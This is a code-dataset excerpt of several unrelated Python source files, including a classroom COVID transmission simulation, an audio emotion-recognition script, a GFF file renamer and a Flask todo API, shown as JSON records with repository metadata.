self.max_edit_distance:\n if not silent:\n print(\"no items in dictionary within maximum edit distance (%d - %d) > %d\" %\n (len(string), self.longest_word_length, self.max_edit_distance))\n return []\n\n suggest_dict = {}\n\n # process queue item\n if (string in self.dictionary) and (string not in suggest_dict):\n\n suggest_dict[string] = (\n self.dictionary[string][0], len(string) - len(string), self.dictionary[string][1], string)\n # the suggested corrections for string as stored in\n # dictionary (whether or not string itself is a valid word\n # or merely a delete) can be valid corrections\n for sc_item in self.similar_tokens[string]:\n if (sc_item not in suggest_dict):\n # compute edit distance\n # calculate edit distance using, for example,\n # Damerau-Levenshtein distance\n item_dist = dameraulevenshtein(sc_item, string)\n suggest_dict[sc_item] = (\n self.dictionary[sc_item][0], item_dist, self.dictionary[sc_item][1], string)\n\n # queue is now empty: convert suggestions in dictionary to\n # list for output\n if not silent and self.verbose != 0:\n print(\"number of possible corrections: %i\" % len(suggest_dict))\n print(\" edit distance for deletions: %i\" % self.max_edit_distance)\n\n # output option 1\n # sort results by ascending order of edit distance and descending\n # order of frequency\n # and return list of suggested word corrections only:\n # return sorted(suggest_dict, key = lambda x:\n # (suggest_dict[x][1], -suggest_dict[x][0]))\n\n # output option 2\n # return list of suggestions with (correction,\n # (frequency in corpus, edit distance)):\n as_list = list(suggest_dict.items())\n outlist = sorted(as_list, key=lambda term, freq_dist_ents_w: (freq_dist_ents_w[1], -freq_dist_ents_w[0]))\n\n return outlist\n\n def save(self, path):\n dill.dump(self, open(path, \"wb\"))\n\n @staticmethod\n def load(path):\n return dill.load(open(path, \"rb\"))\n print(\" \")\n","repo_name":"aolimelo/kged","sub_path":"entityasm.py","file_name":"entityasm.py","file_ext":"py","file_size_in_byte":8895,"program_lang":"python","lang":"en","doc_type":"code","stars":25,"dataset":"github-code","pt":"61"} +{"seq_id":"42425723891","text":"from tkinter import *\r\n\r\nroot=Tk()\r\n\r\nmiFrame=Frame(root, width=500, height=400)\r\n\r\nmiFrame.pack()\r\n\r\nLabel(miFrame, text=\"Hola que tal?\", fg=\"red\", font=(\"Comic Sans MS\", 18)).place(x=200, y=50)\r\n\r\nroot.mainloop()","repo_name":"nranmag/ejemspython","sub_path":"Graficos/practicaLabel.py","file_name":"practicaLabel.py","file_ext":"py","file_size_in_byte":214,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"19281698317","text":"## TODO\n# Make this file just functions\n# make plots better:\n# run 10k make raster is in 'air_flow'\n# This saves the grid overlay to a file\n# ventilation calculation is in 'vent_setup'\n# This plots a line between the edges of the vent and the edges of the windows: directionally influences aerosol\n# Implement masks as a function of this ventilation / time: i.e. reduced airflow\n\n\nimport math\nimport random\nimport numpy as np\nimport pandas as pd\nfrom scipy import stats\nimport matplotlib.pyplot as plt\nimport json\n\n# TODO:\n# add viz for 1-room infection\n# plot infections / time\n\ndef init_positions(floor_area, n_students):\n # generate size of room based on circular/square desks\n positions = {}\n # grid desks\n rows = int(math.sqrt(n_students))\n count = 0\n for i in range(rows):\n for j in range(rows):\n positions[count] = [i, j]\n count += 1\n\n\n inf_index = random.sample(set(range(n_students)), 2)\n uninf_index = list(range(n_students))\n inf_array = []\n\n\n # double check this\n for i in inf_index:\n uninf_index.remove(i)\n inf_array.append(i)\n return uninf_index, inf_index, inf_array, positions\n\ndef return_aerosol_transmission_rate(floor_area, mean_ceiling_height,\n air_exchange_rate,\n aerosol_filtration_eff, relative_humidity, breathing_flow_rate,\n exhaled_air_inf, max_viral_deact_rate, mask_passage_prob,\n max_aerosol_radius=2, primary_outdoor_air_fraction=0.2):\n # Function to return transmission % from smaller droplets dispersing around the room\n # Same as SchoolABM\n\n mean_ceiling_height_m = mean_ceiling_height * 0.3048 #m3\n room_vol = floor_area * mean_ceiling_height # ft3\n room_vol_m = 0.0283168 * room_vol # m3\n\n fresh_rate = room_vol * air_exchange_rate / 60 # ft3/min\n recirc_rate = fresh_rate * (1/primary_outdoor_air_fraction - 1) # ft3/min\n air_filt_rate = aerosol_filtration_eff * recirc_rate * 60 / room_vol # /hr\n eff_aerosol_radius = ((0.4 / (1 - relative_humidity)) ** (1 / 3)) * max_aerosol_radius\n viral_deact_rate = max_viral_deact_rate * relative_humidity\n sett_speed = 3 * (eff_aerosol_radius / 5) ** 2 # mm/s\n sett_speed = sett_speed * 60 * 60 / 1000 # m/hr\n conc_relax_rate = air_exchange_rate + air_filt_rate + viral_deact_rate + sett_speed / mean_ceiling_height_m # /hr\n airb_trans_rate = ((breathing_flow_rate * mask_passage_prob) ** 2) * exhaled_air_inf / (room_vol_m * conc_relax_rate)\n\n return airb_trans_rate #This is mean number of transmissions per hour between pair of infected / healthy individuals\n\n\ndef get_distance(infect_id, uninfect_id, student_pos):\n x1y1 = student_pos[infect_id]\n x2y2 = student_pos[uninfect_id]\n # print(student_pos)\n return math.sqrt(((x2y2[0]-x1y1[0])**2) + ((x2y2[1] - x1y1[1])**2))\n\ndef directional_air(matrix, row, col, direction='back'): # back of the bus = down\n # dir_matrix is a np.array\n # risk_matrix is a pd.dataframe\n\n # direction = a number 0-9\n # numpad directions:\n # 7 8 9 <^ ^ ^>\n # 4 5 6 < - >\n # 1 2 3 \n # 0\n\n # fix this function now\n\n if direction == 'back':\n matrix[row][col] - 1\n matrix[row-1][col] + 1\n return matrix\n\n if direction == 'forward':\n #\n matrix[row][col] - 1\n matrix[row+1][col] + 1\n return matrix\n\n if direction == 'left':\n #\n matrix[row][col] - 1\n matrix[row][col-1] + 1\n return matrix\n\n if direction == 'right':\n matrix[row][col] - 1\n matrix[row][col+1] + 1\n return matrix\n\n if direction == 'left-back':\n #\n matrix[row][col] - 1\n matrix[row-1][col-1] + 1\n return matrix\n\n if direction == 'left-forward':\n matrix[row][col] - 1\n matrix[row+1][col-1] + 1\n return matrix\n\n if direction == 'right-back':\n matrix[row][col] - 1\n matrix[row-1][col+1] + 1\n return matrix\n\n if direction == 'right-forward':\n matrix[row][col] - 1\n matrix[row+1][col+1] + 1\n return matrix\n return\n\n\n\ndef matrix_avg(input_matrices):\n '''\n calculate mean for every mutual [i,j] in input\n list of np.arrays\n\n function to be used in calculating which seats are riskiest\n '''\n return\n\n\n\ndef create_color_viz(infect_times, num_students = 25):\n # implement having more students in the class\n\n # initialize positions of students\n positions = {}\n x_arr = []\n y_arr = []\n rows = int(math.sqrt(num_students))\n count = 0\n for i in range(rows):\n for j in range(rows):\n positions[count] = [i, j]\n x_arr.append(i)\n y_arr.append(j)\n count += 1\n\n inf_x_arr = []\n inf_y_arr = []\n for inf in infect_times.keys():\n # print(positions[inf])\n inf_x_arr.append(positions[inf][0])\n inf_y_arr.append(positions[inf][1])\n\n\n # color dot red\n\n # plot uninfected in blue\n plt.scatter(x_arr, y_arr, color='blue')\n # plot infected in red\n # only output last frame for now:\n plt.scatter(inf_x_arr, inf_y_arr, color='red')\n # add plt title and description\n plt.show()\n return\n\ndef create_plot_viz(infect_times, infect_distrib):\n # convert infection timestamps to step function plot\n times = infect_times.values()\n #\n # print('times', times)\n step_x_array = times\n step_y_array = [i for i in range(len(times))]\n plt.step(step_x_array, step_y_array) # label timestep and id # above each infection\n # add ax annotate? or plt annotate?\n # add plt title and description\n plt.show()\n\n # plot distribution of infection rate over course of model run\n plt.hist(infect_distrib)#, bins=50)\n plt.gca().set(title='Transmission likelihood distribution')\n # add plt title and description\n plt.show()\n\n return\n\n# Go by standards mandated by school district in terms of masks and setup\ndef one_room(input_dir, output_dir, viz_checkd, num_people=25, mask_type='cloth', num_days=5, num_class=3, vent_test=False):\n\n\n uninf_index, inf_index, inf_array, student_pos = init_positions(900, num_people)\n\n # setup variables and functions# output graphs\n # countdown until symptoms appear: probability curve\n shape, loc, scale = (0.6432659248014824, -0.07787673726582335, 4.2489459496009125)\n x = np.linspace(0, 17, 1000)\n countdown_curve = stats.lognorm(s=shape, loc=loc, scale=scale)\n\n infected = {i: int(np.round(stats.lognorm.rvs(shape, loc, scale, size=1)[0], 0)) for i in inf_index}\n\n # bound the days for overflow errors\n for i in infected:\n if infected[i] > 17:\n infected[i] = 17\n if infected[i] < -10:\n infected[i] = -10\n # create infectiveness reference dataframe\n shape, loc, scale = (20.16693271833812, -12.132674385322815, 0.6322296057082886)\n x = np.linspace(-10, 8, 19)\n infective_df = pd.DataFrame({'x': list(x), 'gamma': list(stats.gamma.pdf(x, a=shape, loc=loc, scale=scale))})\n\n uninfected = {i: 0 for i in uninf_index}\n\n # set default params here\n floor_plan = {\"floor_area\": 900,\n \"mean_ceiling_height\": 12,\n \"air_exchange_rate\": 3,\n \"primary_outdoor_air_fraction\": 0.2,\n \"aerosol_filtration_eff\": 0,\n \"relative_humidity\": 0.69,\n \"breathing_flow_rate\": 0.5,\n \"max_aerosol_radius\": 2,\n \"exhaled_air_inf\": 30,\n \"max_viral_deact_rate\": 0.3,\n \"mask_passage_prob\": 0.1,\n \"risk_tolerance\": 0.1}\n\n # for i in floor_plan:\n # print(i)\n # deff.close()\n floor_area = floor_plan['floor_area'] # ft2\n mean_room_height = floor_plan['mean_ceiling_height'] # ft\n air_exchange_rate = floor_plan['air_exchange_rate'] # /hr (air changes per hour (ACH))\n\n ##Assumed Parameter Identified as 0.2 for Classrooms, 1.0 for outdoors##\n primary_outdoor_air_fraction = floor_plan['primary_outdoor_air_fraction'] # 1.0 = natural ventilation\n aerosol_filtration_eff = floor_plan['aerosol_filtration_eff'] # >0.9997 HEPA, =0.2-0.9 MERVs, =0 no filter\n\n #Average daily RH for San Diego is 69%\n relative_humidity = floor_plan['relative_humidity']\n physical_params = [floor_area, mean_room_height, air_exchange_rate, primary_outdoor_air_fraction,\n aerosol_filtration_eff, relative_humidity]\n\n # Physiological Parameters\n breathing_flow_rate = floor_plan['breathing_flow_rate'] # m3/hr\n max_aerosol_radius = floor_plan['max_aerosol_radius'] # micrometers\n physio_params = [breathing_flow_rate, max_aerosol_radius]\n\n # Disease Parameters\n exhaled_air_inf = floor_plan['exhaled_air_inf'] # infection quanta/m3, changes with acitivity type.\n max_viral_deact_rate = floor_plan['max_viral_deact_rate'] # /hr\n disease_params = [exhaled_air_inf, max_viral_deact_rate]\n\n # Precautionary Parameters\n mask_passage_prob = floor_plan['mask_passage_prob'] # 1 = no masks, ~0.1 cloth, <0.05 N95\n risk_tolerance = floor_plan['risk_tolerance'] # expected transmissions per infector\n prec_params = [mask_passage_prob, risk_tolerance]\n\n\n # Use Chu\n chu_distance_curve = 1/2.02\n # loop through day\n\n\n days = num_days\n classes = num_class\n steps = 12 # 5 mins / step = 1 hour / class\n\n # use these to generate plot of num_infected by step count, assuming all else equal\n step_count = 0\n infect_plot_dict = {}\n\n student_infections = {} # this dict stores # times each student infects another via droplet\n # which students are infected is already output\n\n # temp\n min = 1\n max = 0\n trans_array = []\n infection_timesteps = {}\n num_they_infect = {}\n for i in inf_index:\n infection_timesteps[i] = 0\n for j in range(num_people):\n num_they_infect[j] = 0\n\n # generate plotline of num_infected using minimum default input: no masks, bad airflow, etc\n\n # generate plotline of num_infected using maximum default input: n-95 masks, barriers, vents, etc\n\n num_infected = 2\n\n # Aerosol transmission in this room (assumes well-mixed room)\n air_transmission = return_aerosol_transmission_rate(floor_area, mean_room_height,\n air_exchange_rate,\n aerosol_filtration_eff, relative_humidity, breathing_flow_rate,\n exhaled_air_inf, max_viral_deact_rate, mask_passage_prob=.1,\n max_aerosol_radius=2, primary_outdoor_air_fraction=0.2)\n # print('air', air_transmission)\n\n # Loop through days in a week (5 days)\n for i in range(days):\n\n # Loop through classes in each day (3 classes)\n for c in range(classes):\n\n # Loop through 5 minute steps in each class (total of 12 steps / class)\n for s in range(steps):\n step_count += 1\n\n ## Droplet Infection\n # Loop through infected students\n for i_student in inf_index:\n # Loop through uninfected and calculate likelihood of infection\n for u_student in uninf_index:\n try:\n transmission = droplet_infect(i_student, u_student, infected, student_pos, infective_df, chu_distance_curve).iloc[0]\n trans_array.append(transmission)\n # print(transmission)\n except:\n # print('wrong')\n transmission = droplet_infect(i_student, u_student, infected, student_pos, infective_df, chu_distance_curve)\n # print(transmission)\n # break\n transmission = 0 # Out of bounds of infectivity\n\n # print(transmission)\n if np.random.choice([True, False], p=[transmission, 1-transmission]):\n\n\n # add u to infected\n inf_array.append(u_student)\n\n infection_timesteps[u_student] = step_count\n num_they_infect[u_student] += 1\n # also calculate time until symptoms for u_student\n\n uninf_index.remove(u_student)\n\n\n # Aerosol Infection\n #Loop through infected and uninfected for pairwise calculations\n\n # this is calculated after every class (hourly transmission rate in that space)\n for i in inf_index:\n\n for u in uninf_index:\n a_transmit = air_transmission\n if np.random.choice([True, False], p=[a_transmit, 1-a_transmit]):\n # add u to infected\n inf_array.append(u)\n # also calculate time until symptoms for u_student\n\n uninf_index.remove(u)\n pass\n\n out = 2 # count number students in inf_index\n # print('this is the number of infected students: ' + str(len(inf_array)))\n # print('these are the infected student IDs: ' + str(inf_array))\n\n\n # print('this is when they were infected: ' + str(infection_timesteps))\n # print(np.min(trans_array), np.max(trans_array), 'min, max')\n # print(np.mean(trans_array), 'mean')\n\n # '''\n if viz_checkd:\n pass\n # create_color_viz(infection_timesteps, 25)\n # print(infection_timesteps, 'time')\n #\n # create_plot_viz(infection_timesteps, trans_array)\n # return inf_array, infection_timesteps\n # '''\n # create_color_viz(infection_timesteps, 25)\n # print(infection_timesteps, 'time')\n\n # create_plot_viz(infection_timesteps, trans_array)\n # also return list of IDs infected\n # print(num_they_infect)\n return inf_array, infection_timesteps# num_they_infect\n\n\ndef scatter_collect(input_dir, output_dir, viz_checkd, num_people=25, mask_type='cloth',\n num_days=5, num_class=3, vent_test=False, n_runs=10): # also add one_room inputs, use this as run.py command\n '''\n run one_room n=1000 times and take avg of # times each id is stored\n\n divide by # runs = % chance of each seat being infected in each seat:\n\n Y = # times infectious/infective/infected by the model\n X = avg distance from other points\n\n i.e. X =\n a dictionary with {ID: # of times infected}\n Y =\n a dictionary with {ID: # people infected}\n\n ### TODO: think of better X variable\n '''\n\n # if saved_scatter in folder: plot those values\n\n # for file in folder:\n # temp = open(), plot #s, close()\n # check if this json file exists\n # if yes, exit function: don't plot the same points twice\n\n fig, ax = plt.subplots()\n n_students = 25\n positions = {}\n # grid desks\n rows = int(math.sqrt(n_students))\n count = 0\n for i in range(rows):\n for j in range(rows):\n positions[count] = [i, j]\n count += 1\n\n # GET OUT THE RIGHT # OF INFECTED PEOPLE\n id_counts = {i: 0 for i in range(num_people)}\n actually_infected = {i: 0 for i in range(num_people)}\n # num_they_infect_ = {i: 0 for i in range(num_people)}\n for run in range(n_runs):\n print('THIS SHOULDNT RUN')\n infected, what_times = one_room(\"../src/data/default\", \"src/data\", viz_checkd=False, num_people=25, mask_type='cloth', num_days=5, num_class=3, vent_test=False)\n # , num_they_infect\n # print(infected)\n for id in infected:\n id_counts[id] += 1\n for new_infections in infected[2:]:\n actually_infected[id] += 1\n # print(what_times)\n # for i in range(len(num_they_infect)):\n # num_they_infect_[i] += num_they_infect[i]\n # print(num_they_infect_)\n # x = id_counts.values()\n\n actual_infections = {id: num_times / n_runs for id, num_times in actually_infected.items()}\n\n # print(id_counts)\n # print(positions)\n x_arr = []\n y_arr = []\n c_arr = []\n for i in range(len(positions)):\n pos = positions[i]\n x_arr.append(pos[0])\n y_arr.append(pos[1])\n c_arr.append(actual_infections[i])\n plt.scatter(x_arr, y_arr, c=c_arr)\n plt.colorbar()\n plt.title('seat infectiveness risk')\n plt.show()\n\n # save all XY output to json file\n\n # temp = one_room\n # get one_room to output which IDs are infected and their distance from other individuals\n\n return\n\ndef get_dist_multiplier(distance, chu_distance_curve):\n# TODO: update this function with correct Chu Calculation from SchoolABM\n # is it chu ** dist ? double check tonight\n bathroom_break = np.random.choice([True, False], p=[4/25, 21/25])\n mu, sigma = 0, .5 # mean, standard deviation in meters to simulate movement\n if bathroom_break:\n temp = np.random.normal(mu, sigma, 1)\n distance = distance + temp\n return (chu_distance_curve)**(distance)\n\ndef droplet_infect(infect_id, uninfect_id, infected, student_pos, infective_df, chu_distance_curve, mask_passage_prob=.1):\n # Function to return transmission % from larger droplets\n '''\n Function to calculate infection via 'large particles'\n Defined as exhaled airborne particles >5 micrometers in size\n\n - other papers cite 2 micrometers, 5, 10, 50, or even 100 micrometers as the cutoff\n\n [effect of distance on # of viral particles that reach that distance] *\n [probability of infectivity given time until symptoms are expected] *\n ([effect of breathing rate and quanta of virions in exhaled/inhaled air] *\n [effect of mask type]) ^ 2\n\n '''\n\n distance = get_distance(infect_id, uninfect_id, student_pos)\n time = infected[infect_id]\n try:\n transmission_baseline = infective_df[infective_df.x == -1 * time]['gamma']\n except:\n print('out of range')\n return 0\n\n # get distance from chu\n distance_multiplier = get_dist_multiplier(distance, chu_distance_curve)\n # approximate student time spent breathing vs talking vs loudly talking\n breathing_type_multiplier = np.random.choice([.5, .05, 1], p=[.2, .05, .75])#############################\n # whisper, loud, heavy\n\n mask_multiplier = np.random.choice([.05, .3, .5, 1], p=[.1, .5, .3, .1])\n #mask_passage_prob # equivalent to aerosol masks\n\n # convert transmission rate / hour into transmission rate / step\n hour_to_fivemin_step = 5/60 # hourly transmission rate --> (5-min) transmission rate\n # 5 minute timesteps\n\n return transmission_baseline * distance_multiplier * (breathing_type_multiplier * mask_multiplier)**2 * hour_to_fivemin_step / 100\n","repo_name":"Bailey-Man/OneRoomABM","sub_path":"old_implementation/scale_model.py","file_name":"scale_model.py","file_ext":"py","file_size_in_byte":18638,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"6772711496","text":"#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n\nfrom __future__ import print_function\n\nimport gzip\nimport sys\n\n\ndef rename_gff(in_list, gfffile):\n chrom_db = dict(i.strip().split() \n for i in open(in_list) if i.strip())\n\n if gfffile[-2:] == \"gz\":\n fp = gzip.open(gfffile)\n else:\n fp = open(gfffile)\n\n for line in fp:\n if line[0] == \"#\":\n output = line.strip()\n elif line.strip() == \"\":\n output = line.strip()\n else:\n line_list = line.strip().split()\n if line_list[0] in chrom_db:\n line_list[0] = chrom_db[line_list[0]]\n else:\n continue\n output = \"\\t\".join(line_list)\n\n print(output, file=sys.stdout)\n\n\n\nif __name__ == \"__main__\":\n if len(sys.argv) < 3:\n print(\"Usage: {} in.gff3 chrom.list > out.gff3\".format(sys.argv[0]))\n sys.exit()\n gfffile, in_list = sys.argv[1:]\n rename_gff(in_list, gfffile)\n","repo_name":"wangyibin/TDGP","sub_path":"utils/rename_gff_by_chrom.py","file_name":"rename_gff_by_chrom.py","file_ext":"py","file_size_in_byte":980,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"61"} +{"seq_id":"38073696625","text":"a=int(input())\nwhile(a):\n q=[1,2,3,4,5,6,7,8,9,10]\n while(1):\n t=input()\n if t==\"too high\":\n for i in range(len(q)):\n if q[i]>=a:\n q[i]=0\n elif t==\"too low\":\n for i in range(len(q)):\n if q[i]<=a:\n q[i]=0\n else:\n if q.count(a):\n x=\"may be \"\n else:\n x=\"is dis\"\n break\n a=int(input())\n print(\"Stan \"+x+\"honest\")\n a=int(input())\n","repo_name":"machi107/Baekjoon-Codes","sub_path":"Silver 5/4335 숫자 맞추기.py","file_name":"4335 숫자 맞추기.py","file_ext":"py","file_size_in_byte":525,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23409871911","text":"input = open('A-small-attempt0.in', 'r')\noutput = open('output.txt', 'w')\n\ntest_case_count = int(input.readline())\n\n#process test case one by one\nfor i in range(test_case_count):\n\t#store relevant data\n\tselected_row_1 = int(input.readline())-1\n\tarrangement_1 = []\n\tfor j in range(4):\n\t\tarrangement_1.append(str.strip(input.readline()))\n\tselected_row_2 = int(input.readline())-1\n\tarrangement_2 = []\n\tfor j in range(4):\n\t\tarrangement_2.append(str.strip(input.readline()))\n\n\t#find match\n\tmatch_count = 0\n\tmatch_case = None\n\tfor number_1 in arrangement_1[selected_row_1].split(' '):\n\t\tfor number_2 in arrangement_2[selected_row_2].split(' '):\n\t\t\tif number_1 == number_2:\n\t\t\t\tmatch_count += 1\n\t\t\t\tmatch_case = number_1\n\n\tif (match_count == 0):\n\t\ty = 'Volunteer cheated!'\n\telif (match_count == 1):\n\t\ty = match_case\n\telse:\n\t\ty = 'Bad magician!'\n\t#print output\n\toutput.write(\"Case #%d: %s\\n\" %(i+1, y))","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_135/1134.py","file_name":"1134.py","file_ext":"py","file_size_in_byte":893,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"15557452441","text":"import math # Maths Library\r\nimport os # OS Module provides functions for interacting with the operating system\r\nimport fleep # Determines file format by file signature\r\n#from pydub import AudioSegment # Used to work with audio files (didn't use mixer library as it can only play audio, whereas pydub can manipulate the audio)\r\nimport pydub # Used to work with audio files\r\nimport pickle # Used to read the labels file\r\nimport pandas as pd # Used to create DataFrames\r\nimport numpy as np # Used to perform a wide variety of mathematical operations on arrays\r\nfrom keras.models import model_from_json # Used to load the saved trained model from json\r\nimport tensorflow as tf # An end-to-end platform for machine learning \r\nimport librosa # Used for audio analysis; and used to convert audio into MFCC\r\nfrom med_app.settings import BASE_DIR \r\npydub.AudioSegment.ffmpeg = \"C:/ffmpeg/bin/ffmpeg.exe\" # Used to execute the ffmpeg file for pydub library\r\n\r\n\r\nclass SplitWavAudioMubin(): # Created a class to split the given audio\r\n def __init__(self, folder, filename): # Initializing the default constructor\r\n self.folder = folder # Get the folder directory of the file\r\n self.filename = filename # Get the filename\r\n self.filepath = folder + '/' + filename # Get the complete path of the file \r\n \r\n self.audio = pydub.AudioSegment.from_wav(self.filepath) # Read the audio from the path of the audio in milliseconds\r\n \r\n def get_duration(self): # To get the duration of the audio file\r\n return self.audio.duration_seconds # Returns the duration of the audio in seconds\r\n \r\n def single_split(self, from_t, to_t, split_filename): # Split audio into a single segment from t1 to t2 and rename it with new filename\r\n t1 = from_t * 1000 # Converting the from_t to second\r\n t2 = to_t * 1000 # Converting the to_t to second\r\n split_audio = self.audio[t1:t2] # Slice the audio file from 'from_t' seconds to 'to_t' seconds as AudioSegments are slicable\r\n split_audio.export(self.folder + '/' + split_filename, format=\"wav\") # Export the audio file to the folder with a new name in 'wav' format\r\n \r\n def multiple_split(self,segment_length): # Split audio into multiple segments of a particular segment length\r\n total_t = math.ceil(self.get_duration()) # Rounds the duration UP to the nearest integer, if necessary, and returns the total duration\r\n for i in range(0, total_t,segment_length): # Iterating from to total_t with a step size of the segment_length\r\n split_fn = str(i) + '_' + self.filename # Setting the new filename as the 'i' values + '_' + the original filename\r\n self.single_split(i, i+segment_length, split_fn) # Calling the split audio function\r\n return(i,total_t) # Returns the total number of segments in which the audio gets splited\r\n\r\ndef get_audio(k,folder,file): # Created a class to get the audio file, check the format, and split the audio\r\n if str(os.path.isdir(folder)) =='True' : # Check if the directory exists\r\n f=0 # Flag to check if the audio is correctly formatted or not\r\n while (f==0): # While the Flag is set off\r\n if str(os.path.isfile(folder + file)) == 'True': # Check if the file exists in that directory\r\n with open(folder + file, \"rb\") as fi: # Opening the audio file as 'fi'\r\n info = fleep.get(fi.read(128)) # Determines the file extension\r\n if info.extension[0] == 'mp3' : # Check if the file extension is 'mp3'\r\n src = folder + file # File path\r\n dst = src + '.wav' # File path with extension as '.wav'\r\n # convert mp3 to wav\r\n sound = pydub.AudioSegment.from_mp3(src) # Read the mp3 file\r\n sound.export(dst, format=\"wav\") # Convert the mp3 into wav file using the dst given\r\n file=file+'.wav' # Reading the converted wav file with extension\r\n split_wav = SplitWavAudioMubin(folder, file) # Creating an object of the 'SplitWavAudioMubin' class\r\n k,duration = split_wav.multiple_split(segment_length=5) # Split the audio in multiple segments of 5 secs\r\n f=1 # Setting the conversion flag to 1 so that it breaks out of the function call\r\n elif info.extension[0] == 'm4a' or info.extension[0] == 'wav': # Check if the file extension is 'm4a' or 'wav'\r\n split_wav = SplitWavAudioMubin(folder, file) # Creating an object of the 'SplitWavAudioMubin' class\r\n k,duration = split_wav.multiple_split(segment_length=5) # Split the audio in multiple segments of 5 secs\r\n f=1 # Setting the conversion flag to 1 so that it breaks out of the function call\r\n else: # If the chosen audio file doesn't match the extension 'mp3, 'm4a', 'wav'\r\n print(\"Please enter name of audio file with supported a format (mp3,m4a,wav)\") # Prints a warning message to give an indication to upload file in these 3 given format\r\n else: # If the file doesn't exist at the given directory\r\n print(\"Please ensure that the file is in the directory specified above and verify the file name\") # Prints a warning message to choose the correct file directory with correct file name\r\n break # Break out of the loop\r\n return(k, file, duration) # Returns the number of segments and the file\r\n else: # If the directory doesn't exists\r\n print('Check if directory is correct') # Prints a warning message to check if the directory is correct or not\r\n get_audio() # Calls the function again \r\n\r\ndef app(k,folder,file): # Function which is the main logic of the prediction\r\n\r\n k, file, duration = get_audio(0,folder,file) # Call the get_audio file with the audio split into segments of 5 secs\r\n n = k/5 # Gets the number of segments\r\n ans = {} # Store the predictiosn of each segments\r\n json_file = open(BASE_DIR + '\\\\ai\\static\\\\ai\\\\files\\model_json.json', 'r') # Open the saved trained model\r\n loaded_model_json = json_file.read() # Read the model\r\n json_file.close() # Close the json file of the model\r\n\r\n loaded_model = model_from_json(loaded_model_json) # Read the model for prediction\r\n loaded_model.load_weights(BASE_DIR + '\\\\ai\\static\\\\ai\\\\files\\Emotion_Model.h5') # Load the weights\r\n print(\"Model Loaded!\") # Confirms that the model has been loaded\r\n\r\n opt = tf.keras.optimizers.RMSprop(lr=0.00001, decay=1e-6) # Used to speed up gradient descent so that it can converge faster to the minima. \r\n loaded_model.compile(loss='categorical_crossentropy', optimizer=opt, metrics=['accuracy']) # Compile the model \r\n files = [file] # Maintain a list of the main audio file along with the segments\r\n\r\n for i in range(int(n)): # Iterating from 0 to the number of segments\r\n # Transform Dataset\r\n\r\n #Load the audio file segment as a floating point time series. Audio will be automatically resampled to the given rate; with a duration of 2.5 secs and an offset of 0.5 secs; and resample type as 'kaiser_fast' which helps in loading the audio file faster\r\n X, sample_rate = librosa.load(folder + str(5*i) + '_' + file,res_type='kaiser_fast',duration=2.5,sr=44100,offset=0.5) \r\n files.append(str(5*i) + '_' + file) # Append the audio segment file name to the files list\r\n sample_rate = np.array(sample_rate) # Converting the sample rate into a numpy array\r\n mfccs = np.mean(librosa.feature.mfcc(y=X, sr=sample_rate, n_mfcc=13),axis=0) # Taking the mean of 13 mfcc calculated on the audio time series 'X' with a 'sample_rate' sample rate\r\n newdf = pd.DataFrame(data=mfccs).T # Taking the transpose of the DataFrame created with the data as the mfccs\r\n\r\n # Predictions\r\n newdf= np.expand_dims(newdf, axis=2) # Adds a dimension to the array at the 2nd axis\r\n newpred = loaded_model.predict(newdf, \r\n batch_size=16, \r\n verbose=1) # Here newdf is the input data for the model to predict on and it returns the probabilty of each class with batch_size of 16\r\n\r\n filename = BASE_DIR + '\\\\ai\\static\\\\ai\\\\files\\labels' # Directory of the labels file\r\n infile = open(filename,'rb') # Open the labels file\r\n\r\n lb = pickle.load(infile) # Loading the labels\r\n infile.close() # Close the labels file\r\n\r\n # Final Prediction\r\n final = newpred.argmax(axis=1) # We set axis = 1 , so that argmax identifies the maximum value for every row. And it returns the column index of that maximum value.\r\n final = final.astype(int).flatten() # Flatten the array into one dimension and cast the values into an integer\r\n final = (lb.inverse_transform((final))) # Transforming label back to original encoding\r\n print(f\"FOR {i} emotion is {final[0]}\") # Prints the emotion for the current segment (For eg: FOR 0 emotion is female_angry)\r\n ans[(i+1)*5] = final[0] # Adding a new element to the predictions dictionary with key as the segments of 5 and value as the emotion detected in that 5 secs\r\n print('Predicted label:',final) # Prints the predicted label\r\n \r\n try: # Exception Handling - Try to do this\r\n files.append(str(5*(i+1)) + '_' + file) # Adding the last segment to the files list\r\n files.append(file.replace('.wav','')) # Adding the file name without the extension\r\n except: # If the try statement fails, we come to the 'except' statement\r\n files.append(file.replace('.wav','')) # Adding the file name without the extension\r\n\r\n # Deleting the files after prediction to free up storage\r\n\r\n if n==0: # If only one or no segments are formed\r\n if os.path.exists(folder+'0_'+file): # Check if the file exists\r\n os.remove(folder+'0_'+file) # Remove the file \r\n\r\n for i in files: # Iterate through the files list\r\n if os.path.exists(folder+i): # Check if the file exists\r\n os.remove(folder+i) # Remove the file\r\n\r\n return ans,duration # Return the predictions dictionary\r\n\r\n ","repo_name":"Anish2422/calmai-live","sub_path":"ai/predict.py","file_name":"predict.py","file_ext":"py","file_size_in_byte":9964,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"39755317912","text":"import json\nfrom flask.json import jsonify\nfrom flask import request\nfrom project.app.blueprints.todo import TodoBluePrint\nfrom project.app.utils.auth import authenticate\n\ntodos = TodoBluePrint('todos', __name__)\n\n@todos.route('/',methods=[\"GET\"])\n@authenticate\ndef handle_all(**kwargs):\n user_id = kwargs[\"user\"][\"id\"]\n response = todos.service.list(user_id)\n return jsonify({\"todos\":response,\"success\":True})\n\n\n@todos.route('/add',methods=[\"POST\"])\n@authenticate\ndef create(**kwargs):\n payload = request.get_json()\n if payload['todo'] == '':\n return jsonify({\"error\": \"Pydo nothing really?!\",\"success\": False})\n \n response = todos.service.create({**payload,'user':{**kwargs[\"user\"]}})\n return jsonify({\"todo\": response,\"success\":True})\n\n\n@todos.route('/edit',methods=[\"PUT\"])\n@authenticate\ndef update(**kwargs):\n payload = request.get_json()\n\n if payload['id'] == '':\n return jsonify({\"error\": \"id not found\",\"success\": False})\n\n response = todos.service.update(payload)\n\n return jsonify({\"todo\": 